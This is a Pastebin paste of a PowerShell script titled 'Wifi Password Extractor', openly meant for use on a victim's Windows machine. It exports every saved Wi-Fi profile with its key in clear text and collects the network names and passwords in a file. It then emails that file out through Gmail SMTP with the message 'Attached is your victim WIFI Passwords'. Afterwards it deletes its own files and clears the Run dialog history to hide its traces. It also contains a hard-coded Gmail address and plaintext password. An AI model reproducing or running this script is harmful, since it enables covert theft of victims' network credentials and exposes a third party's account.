Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- netsh wlan export profile key=clear
- echo "Wifi Password Extractor Coded By Exploitech" > wifipass.txt
- dir *.xml |% {
- $xml=[xml] (get-content $_)
- $a= "========================================`r`n SSID = "+$xml.WLANProfile.SSIDConfig.SSID.name + "`r`n PASS = " +$xml.WLANProfile.MSM.Security.sharedKey.keymaterial
- Out-File wifipass.txt -Append -InputObject $a
- }
- $SMTPServer = 'smtp.gmail.com'
- $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
- $SMTPInfo.EnableSsl = $true
- $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('iachetti.manuel.2l@gmail.com', 'Aleframima03')
- $ReportEmail = New-Object System.Net.Mail.MailMessage
- $ReportEmail.From = 'yourusername@gmail.com'
- $ReportEmail.To.Add('yourusername@gmail.com')
- $ReportEmail.Subject = 'WIFI Pass Report of ' + $env:UserName
- $ReportEmail.Body = 'Attached is your victim WIFI Passwords'
- $ReportEmail.Attachments.Add('wifipass.txt')
- $SMTPInfo.Send($ReportEmail)
- rm *.xml -Force
- rm w.txt -Force
- rm w.PS1 -Force
- Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement